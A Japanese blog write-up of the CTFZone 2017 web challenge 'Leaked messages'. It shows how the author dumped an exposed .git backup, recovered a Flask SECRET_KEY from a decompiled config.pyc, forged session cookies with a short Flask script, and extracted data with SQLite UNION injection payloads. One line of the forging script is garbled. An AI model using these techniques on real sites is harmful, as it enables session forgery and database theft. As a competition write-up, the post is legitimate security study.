st98 の日記帳

[ctf] CTFZone 2017 の write-up

チーム Harekaze で CTFZone 2017 に参加しました。最終的にチームで 1147 点を獲得し、順位は得点 55 チーム中 25 位でした。うち、私は 1 問を解いて 687 点を入れました。

以下、解いた問題の write-up です。

[Web 687] Leaked messages

与えられた URL にアクセスすると、Here u can make your own virtual number and receive sms with its help という説明とログインページへのリンクが表示されました。

適当なアカウント (ユーザ名は tekitou) を作成してログインすると 326410031713 という番号が発行され、Hello! Your number is 326410031713. Have a nice conversation. というメッセージが表示されました。

Cookie は session=eyJudW1iZXIiOiIzMjY0MTAwMzE3MTMiLCJ1c2VybmFtZSI6InRla2l0b3UifQ.DE2Jvg.rTWgVWdOeAYa0Z1a-9GI6tJQChE という内容になっていました。. で区切った最初の文字列を base64 デコードすると {"number":"326410031713","username":"tekitou"} という JSON のデータが出てきました。

何か手がかりが得られないか m—/webfuck を回してみたところ、/backup/ というディレクトリが見つかりました。

早速アクセスしてみると HEAD COMMIT_EDITMSG のようなファイルや objects/ refs/ のようなディレクトリの一覧が表示されました。恐らく .git でしょう。kost/dvcs-ripper を使って -v -u でダウンロードできました。

ダウンロード先には .gitignore requirements.txt static/ templates/ がありました。.gitignore は以下のような内容で、どうやらソースコードは含まれていないようです。


requirements.txt は以下の内容で、Flask を使っていることが分かりました。


git log でコミットログを眺めていると、気になる箇所がありました。

commit 8b1084b23d869e5dc1ae4ac845589ecfb896c0c3
Author: Alexey Kuznetsov <>
Date:   Fri Jul 14 20:40:11 2017 +0300

    static added
diff --git a/config.pyc b/config.pyc
deleted file mode 100644
index 1426e2a..0000000
Binary files a/config.pyc and /dev/null differ

config.pyc というファイルを削除しています。git reset --hard bd55b19e5413ce609d3bc4429c3a6f272341988a で巻き戻しましょう。得られた config.pycuncompyle6 でデコンパイルすると以下のコードが出てきました。

# uncompyle6 version 2.9.10
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.9 (default, Mar  1 2015, 12:57:24) 
# [GCC 4.9.2]
# Embedded file name:
# Compiled at: 2017-07-15 02:28:42
# Size of source mod 2**32: 288 bytes

class BaseConfig(object):
    DEBUG = False
    SECRET_KEY = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
    DB_NAME = 'messages.db'
    RECAPTCHA_THEME = 'dark'
    RECAPTCHA_TYPE = 'image'
    RECAPTCHA_SIZE = 'normal'
# okay decompiling config.pyc

セッションの署名と検証に使われている SECRET_KEY が得られました。これを使ってセッションの偽造ができるスクリプトを書いてみましょう。

import requests
from flask import *

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
  if request.method == 'POST':
    session['number'] = request.form['number']
    session['username'] = request.form['username']
    return render_template('index.html', username=request.form['username'], number=request.form['number'])
  return render_template('index.html', username='', number='')

app.secret_key = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d', debug=True)


<!doctype html>
<html lang="en">
    <meta charset="utf-8">
    <title>Leaked message</title>
    <form method="POST">
      <label>username: <input type="text" name="username" value="" size=100></label><br>
      <label>number: <input type="text" name="number" value="" size=100></label><br>
      <input type="submit" value="submit"></form>

usernamehogenumberfuga を入力してできたセッションを Cookie にセットすると、Here the last message for you, fuga と表示されました。やった!

number' union select sqlite_version();-- に変えてみるとメッセージに 3.11.0 が表示されました。これで number から SQLi ができ、また DB には SQLite が使われているということが分かりました。

' union select group_concat(sql, char(10)) from sqlite_master;-- でテーブルの構造を確認してみます。

CREATE TABLE sqlite_sequence(name,seq)
CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username text, password text, salt text, number text)
CREATE TABLE messages(id INTEGER PRIMARY KEY AUTOINCREMENT, number text, message text)

users messages というテーブルがあることが分かりました。

' union select group_concat(distinct message) from messages where message not like 'Hello! Your number is %' order by message;-- でメッセージを抜き出してみましょう。

To be truly great, we have to understand the motivation of our clients, maintain constant two-way communication with shockingly uncreative people, get a firm handle on copywriting and how that craft exists symbiotically with the visual element, and foresee how the finished whole will be greater than the sum of the bits and pieces we spent hours obsessing over. All of these factors cascade into the final product.
It&#39;s so cool!

いろいろな引用がある中、最後の行に画像へのリンクがありました。開いてみるとうっすらとフラグが読めますが…何度試しても通りません。悩んでいたところ、arukuka さんが正しいフラグを提出されていました。どうやら 21 文字目の 65 と読み間違えてしまっていたようです。

このエントリーをはてなブックマークに追加 / st98 の日記帳